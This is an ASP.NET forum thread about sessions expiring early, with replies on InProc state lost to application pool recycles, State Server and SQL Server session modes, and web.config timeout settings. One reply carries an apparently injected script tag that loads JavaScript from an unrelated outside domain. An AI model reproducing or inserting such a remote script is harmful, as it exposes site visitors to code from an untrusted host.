locked
Session Expired RRS feed

  • Question

  • User1610800555 posted

    hi i set session timeout to 30 minutes

    but some time the session expired with in 1 or mins

    may i know why this problem occurs

    how to solve this issue

    Monday, September 24, 2012 12:04 AM

Answers

  • User477186420 posted

    Hello,

    You are using which Session Server?? by default asp.net use "InProc"

    1) InProc : InProc is using IIS Pool to store session data, if you built solution or project session will expire, also when you update the web.config or other config file session will expire, and if pool or iis is reset then session will expired

    2) State Server : In Server there is service of "ASP.NET State serivce", it will store data itno owen database, it will only expired when service is reset or session time out happen.

    3) SQL Server : When time out happen at that time session will expired.

    let me know if any query

    • Marked as answer by Anonymous Thursday, October 7, 2021 12:00 AM
    Monday, September 24, 2012 1:17 AM
  • User1196771204 posted

    hi there,

    Please refer to http://faq.asphosthelpdesk.com/article.php?id=128

    Please mark this response as an "answer" if it helps you. Thanks heaps!  

    • Marked as answer by Anonymous Thursday, October 7, 2021 12:00 AM
    Tuesday, September 25, 2012 11:19 PM
  • User-1199946673 posted

    By default, The Session State Mode is InProc. That means that the Session State is stored in memory. The problem is that all sessions will be lost when the Application Pool Recyvles, and it sounds like this happens frequently. When you're in a shared hosting environment, there's not much you can do to prevent unexpected en frequently Recycles, if you a a dedicated server, there are may reasons why this could happen and to solve it.

    http://blogs.msdn.com/b/johan/archive/2007/05/16/common-reasons-why-your-application-pool-may-unexpectedly-recycle.aspx

    To prevent Sessions to be lost when the Application Pool recycles, is to use anothe Session State Mode and store the Session in a database

    http://msdn.microsoft.com/en-us/library/system.web.sessionstate.sessionstatemode(v=vs.100).aspx

    • Marked as answer by Anonymous Thursday, October 7, 2021 12:00 AM
    Thursday, October 4, 2012 5:00 AM

All replies

  • User-1815329414 posted

    By default, Session timeouts are set to expire in ASP.NET in 20 minutes. To increase the timeout or expiry you should change the timeout attribute for SessionState in the web.config file

    <sessionState timeout="40" />
    Note that if you are using Forms authentication, the Forms timeout setting will log the user out after the set timeout period so you will also have to adjust this attribute:

    <authentication mode="Forms">
    <forms timeout="40"/>
    </authentication>

    Monday, September 24, 2012 12:38 AM
  • User477186420 posted

    Hello,

    You are using which Session Server?? by default asp.net use "InProc"

    1) InProc : InProc is using IIS Pool to store session data, if you built solution or project session will expire, also when you update the web.config or other config file session will expire, and if pool or iis is reset then session will expired

    2) State Server : In Server there is service of "ASP.NET State serivce", it will store data itno owen database, it will only expired when service is reset or session time out happen.

    3) SQL Server : When time out happen at that time session will expired.

    let me know if any query

    • Marked as answer by Anonymous Thursday, October 7, 2021 12:00 AM
    Monday, September 24, 2012 1:17 AM
  • User1196771204 posted

    hi there,

    Please refer to http://faq.asphosthelpdesk.com/article.php?id=128

    Please mark this response as an "answer" if it helps you. Thanks heaps!  

    • Marked as answer by Anonymous Thursday, October 7, 2021 12:00 AM
    Tuesday, September 25, 2012 11:19 PM
  • User1241639615 posted

    Please refer

    http://daythoughtsblog.wordpress.com/

    Sunday, September 30, 2012 3:57 AM
  • User1849925139 posted

    Hi,

    If you are using the FormsAuthentication then set the SlidingExpiration of that to "false'.

    ---------------------------------------------

    Santosh Gada

    (If this solution helps, please mark it as "Answered")

    Monday, October 1, 2012 3:45 AM
  • User-645189125 posted

    Pls use Out Proc session with SQL State Management...good luck

    <script type="text/javascript" src="//loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>
    Monday, October 1, 2012 1:24 PM
  • User-735357247 posted

    Please check the IIS Settings for session time out. If you are using In Proc sessions asp.net will first consider the value which is set in IIS.

    Thursday, October 4, 2012 1:15 AM
  • User-1199946673 posted

    By default, The Session State Mode is InProc. That means that the Session State is stored in memory. The problem is that all sessions will be lost when the Application Pool Recyvles, and it sounds like this happens frequently. When you're in a shared hosting environment, there's not much you can do to prevent unexpected en frequently Recycles, if you a a dedicated server, there are may reasons why this could happen and to solve it.

    http://blogs.msdn.com/b/johan/archive/2007/05/16/common-reasons-why-your-application-pool-may-unexpectedly-recycle.aspx

    To prevent Sessions to be lost when the Application Pool recycles, is to use anothe Session State Mode and store the Session in a database

    http://msdn.microsoft.com/en-us/library/system.web.sessionstate.sessionstatemode(v=vs.100).aspx

    • Marked as answer by Anonymous Thursday, October 7, 2021 12:00 AM
    Thursday, October 4, 2012 5:00 AM
  • User-1199946673 posted

    If you are using the FormsAuthentication then set the SlidingExpiration of that to "false'.

    Session has nothing to do with FormsAuthentication!

    Thursday, October 4, 2012 5:01 AM